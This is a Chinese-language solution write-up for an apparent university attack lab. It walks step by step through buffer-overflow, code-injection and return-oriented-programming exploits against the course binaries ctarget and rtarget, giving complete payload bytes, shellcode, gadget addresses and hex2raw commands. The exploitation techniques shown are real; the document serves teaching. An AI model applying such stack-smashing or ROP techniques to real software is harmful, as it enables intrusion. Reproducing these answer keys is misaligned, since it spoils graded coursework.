Part 1: Code Injection Attacks
/* getbuf code */
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
/* test code */
void test(){
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
Level 1
这一题考察缓冲区溢出,无需注入代码,覆盖getbuf
对应栈帧,重写其返回地址即可。
void touch1() {
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
利用gdb
调试ctarget
,反汇编getbuf
:
从第一行sub $0x28, %rsp
可知BUFFER_SIZE
大小为0x28
,十进制大小为40
。
反汇编touch1
:
可知touch1
地址为0x4017c0
。
参考课本196页图3-40,输入的字节码需要将栈中前40个字节填满,然后再重写返回地址,如下图。
所使用的硬件设备为小端模式,于是输入的字节码为:
/* level1.txt */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 <-- 重写的返回地址
使用如下命令验证结果:
$ ./hex2raw -i level1.txt | ./ctarget -q
Level 2
这一题需要注入代码,覆盖getbuf
栈帧。touch2
代码如下:
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
函数的第一个参数由寄存器%rdi
传入,要想使val == cookie
,我们需要查看cookie
的值,并将其传给%rdi
,随后将touch2
地址压入栈,并使用ret
指令将控制权转移给touch2
函数(避免使用jmp
或者call
)。
在终端输入cat cookie.txt
查看cookie
的值。
在gdb
反汇编touch2
查看其地址:
编写注入代码:
/* inject.s */
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
使用gcc
编译,并用objdump
反汇编:
得到这段代码的字节码:
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
在getbuf
函数入口处设置断点,之后运行到该处,再stepi
单步执行,此时程序已执行完getbuf
函数,已返回,此时%rsp
的值即为原getbuf
返回地址(这一题中,输入的字节码不需要重写getbuf
的返回地址)。
由此,可得到输入字节码为:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
使用如下命令验证结果:
$ ./hex2raw -i level2.txt | ./ctarget -q
Level 3
这一题也需要注入代码,需要传入一个字符串作为参数,hexmatch
、touch3
函数如下:
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
此题的思路是将cookie
字符串(长度为8)存入某个地址,并将该地址作为参数传入touch3
(参数为指针char *
)。为了方便操作,可使用getbuf
或者test
栈帧中的某个地址存储cookie
。由于hexmatch
函数中char *s = cbuf + random() % 100;
可能会破坏getbuf
的栈帧,故将cookie
存入test
的栈帧。
进入getbuf
之前程序还在test
中的栈帧:
%rsp = 0x5561dca0
,可知栈帧中最顶层地址0x5561dca8
,使用此部分栈帧。
%rsp
的内存地址是0x5561dca0
,里边存储的是调用getbuf
函数的返回地址0x5561dc78
。保持返回地址不变,在它之前test
栈帧中存储cookie
字符的十六进制字节码,此处的地址0x5561dca8
作为参数传给touch3
。
反汇编touch3
:
得到touch3
地址0x4018fa
。
注入代码为:
/* inject.s */
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
使用gcc
编译,并用objdump
反汇编:
得到这段代码的字节码:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
在终端使用man ascii
,对照得到cookie
字符串的十六进制:
35 39 62 39 39 37 66 61 00
getbuf
返回地址不变,最终得到输入的字节码为:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00 <-- 字符串结束符'\0'
使用如下命令验证结果:
$ ./hex2raw -i level3.txt | ./ctarget -q
Part 2: Return-Oriented Programming
Level 2
这一题是重复代码注入攻击中第二阶段的任务,劫持程序流,返回到touch2
函数。只不过使用的是ROP攻击,不能将指令序列放入栈中,而应在现有的程序中,找到我们需要的指令序列。
我们需要如下指令:
popq %rax
movq %rax, %rdi
对照表A、B,popq %rax
对应指令字节58
,movq %rax, %rdi
对应指令字节48 89 c7
。
将rtarget
反汇编:
$ objdump -d ./rtarget > rtarget.asm
使用vim
打开rtarget.asm
,找到对应函数。
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
可以得到popq %rax
指令地址为0x4019ab
,movq %rax, %rdi
指令地址为0x4019a2
。
综上,得到输入的字节码为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
使用如下命令验证结果:
$ ./hex2raw -i level4.txt | ./rtarget -q